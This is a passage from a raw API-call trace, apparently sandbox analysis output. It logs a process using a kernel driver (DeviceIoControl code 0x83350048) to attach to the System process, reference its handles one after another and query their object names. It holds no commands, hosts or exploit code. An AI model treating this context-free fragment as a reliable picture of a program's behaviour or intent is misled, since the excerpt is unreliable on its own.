(ApcState=0xfffff880054735d0) [0135.417] PsReleaseProcessExitSynchronization () returned 0x2 [0135.417] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.418] ObQueryNameString (in: Object=0xfffffa8002145ab0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.418] ObfDereferenceObject (Object=0xfffffa8002145ab0) returned 0x2 [0135.418] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.418] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.418] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.418] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.418] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.418] PsAcquireProcessExitSynchronization () returned 0x0 [0135.418] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.418] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80024f8b60, HandleInformation=0x0) returned 0x0 [0135.418] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.418] PsReleaseProcessExitSynchronization () returned 0x2 [0135.418] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.418] ObQueryNameString (in: Object=0xfffffa80024f8b60, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.418] ObfDereferenceObject (Object=0xfffffa80024f8b60) returned 0x2 [0135.418] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.418] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.418] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.418] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.418] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.418] PsAcquireProcessExitSynchronization () returned 0x0 [0135.418] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.418] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003454ae0, HandleInformation=0x0) returned 0x0 [0135.418] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.418] PsReleaseProcessExitSynchronization () returned 0x2 [0135.418] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.418] ObQueryNameString (in: Object=0xfffffa8003454ae0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.418] ObfDereferenceObject (Object=0xfffffa8003454ae0) returned 0x2 [0135.418] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.418] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.419] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.419] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.419] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.419] PsAcquireProcessExitSynchronization () returned 0x0 [0135.419] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.419] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80022d0c90, HandleInformation=0x0) returned 0x0 [0135.419] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.419] PsReleaseProcessExitSynchronization () returned 0x2 [0135.419] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.419] ObQueryNameString (in: Object=0xfffffa80022d0c90, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.419] ObfDereferenceObject (Object=0xfffffa80022d0c90) returned 0x2 [0135.419] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.419] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.419] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.419] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.419] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.419] PsAcquireProcessExitSynchronization () returned 0x0 [0135.419] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.419] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b4c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800260e630, HandleInformation=0x0) returned 0x0 [0135.419] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.419] PsReleaseProcessExitSynchronization () returned 0x2 [0135.419] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.419] ObQueryNameString (in: Object=0xfffffa800260e630, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.419] ObfDereferenceObject (Object=0xfffffa800260e630) returned 0x2 [0135.419] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.419] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.419] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.419] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.419] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.419] PsAcquireProcessExitSynchronization () returned 0x0 [0135.419] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.420] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b50, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800250a550, HandleInformation=0x0) returned 0x0 [0135.420] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.420] PsReleaseProcessExitSynchronization () returned 0x2 [0135.420] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.420] ObQueryNameString (in: Object=0xfffffa800250a550, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.420] ObfDereferenceObject (Object=0xfffffa800250a550) returned 0x2 [0135.420] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.420] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.420] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.420] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.420] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.420] PsAcquireProcessExitSynchronization () returned 0x0 [0135.420] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.420] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002642460, HandleInformation=0x0) returned 0x0 [0135.420] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.420] PsReleaseProcessExitSynchronization () returned 0x2 [0135.420] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.420] ObQueryNameString (in: Object=0xfffffa8002642460, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.420] ObfDereferenceObject (Object=0xfffffa8002642460) returned 0x2 [0135.420] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.420] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.420] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.420] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.420] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.420] PsAcquireProcessExitSynchronization () returned 0x0 [0135.420] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.420] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80034a8a20, HandleInformation=0x0) returned 0x0 [0135.420] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.420] PsReleaseProcessExitSynchronization () returned 0x2 [0135.421] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.421] ObQueryNameString (in: Object=0xfffffa80034a8a20, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.421] ObfDereferenceObject (Object=0xfffffa80034a8a20) returned 0x2 [0135.421] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.421] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.421] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.421] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.421] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.421] PsAcquireProcessExitSynchronization () returned 0x0 [0135.421] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.421] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80025ec620, HandleInformation=0x0) returned 0x0 [0135.421] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.421] PsReleaseProcessExitSynchronization () returned 0x2 [0135.421] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.421] ObQueryNameString (in: Object=0xfffffa80025ec620, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.421] ObfDereferenceObject (Object=0xfffffa80025ec620) returned 0x2 [0135.421] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.421] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.421] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.421] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.421] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.421] PsAcquireProcessExitSynchronization () returned 0x0 [0135.421] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.421] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b98, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003b8ec00, HandleInformation=0x0) returned 0x0 [0135.421] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.421] PsReleaseProcessExitSynchronization () returned 0x2 [0135.421] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.421] ObQueryNameString (in: Object=0xfffffa8003b8ec00, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0135.421] ObfDereferenceObject (Object=0xfffffa8003b8ec00) returned 0x2 [0135.421] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.421] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.422] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.422] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.422] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.422] PsAcquireProcessExitSynchronization () returned 0x0 [0135.422] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.422] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031367d0, HandleInformation=0x0) returned 0x0 [0135.422] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.422] PsReleaseProcessExitSynchronization () returned 0x2 [0135.422] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.422] ObQueryNameString (in: Object=0xfffffa80031367d0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.422] ObfDereferenceObject (Object=0xfffffa80031367d0) returned 0x2 [0135.422] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.422] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.422] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.422] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.422] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.422] PsAcquireProcessExitSynchronization () returned 0x0 [0135.422] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.422] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003286c70, HandleInformation=0x0) returned 0x0 [0135.422] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.422] PsReleaseProcessExitSynchronization () returned 0x2 [0135.422] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.422] ObQueryNameString (in: Object=0xfffffa8003286c70, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.422] ObfDereferenceObject (Object=0xfffffa8003286c70) returned 0x2 [0135.422] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.422] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.422] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.422] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.422] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.422] PsAcquireProcessExitSynchronization () returned 0x0 [0135.422] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.423] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001eeb420, HandleInformation=0x0) returned 0x0 [0135.423] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.423] PsReleaseProcessExitSynchronization () returned 0x2 [0135.423] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.423] ObQueryNameString (in: Object=0xfffffa8001eeb420, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.423] ObfDereferenceObject (Object=0xfffffa8001eeb420) returned 0x2 [0135.423] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.423] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.423] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.423] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.423] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.423] PsAcquireProcessExitSynchronization () returned 0x0 [0135.423] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.423] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ba8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002921f20, HandleInformation=0x0) returned 0x0 [0135.423] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.423] PsReleaseProcessExitSynchronization () returned 0x2 [0135.423] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.423] ObQueryNameString (in: Object=0xfffffa8002921f20, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.423] ObfDereferenceObject (Object=0xfffffa8002921f20) returned 0x2 [0135.423] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.423] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.423] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.423] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.423] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.423] PsAcquireProcessExitSynchronization () returned 0x0 [0135.423] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.423] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800219eac0, HandleInformation=0x0) returned 0x0 [0135.423] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.423] PsReleaseProcessExitSynchronization () returned 0x2 [0135.423] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.423] ObQueryNameString (in: Object=0xfffffa800219eac0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.424] ObfDereferenceObject (Object=0xfffffa800219eac0) returned 0x2 [0135.424] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.424] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.424] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.424] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.424] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.424] PsAcquireProcessExitSynchronization () returned 0x0 [0135.424] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.424] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800374d660, HandleInformation=0x0) returned 0x0 [0135.424] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.424] PsReleaseProcessExitSynchronization () returned 0x2 [0135.424] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.424] ObQueryNameString (in: Object=0xfffffa800374d660, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.424] ObfDereferenceObject (Object=0xfffffa800374d660) returned 0x2 [0135.424] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.424] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: 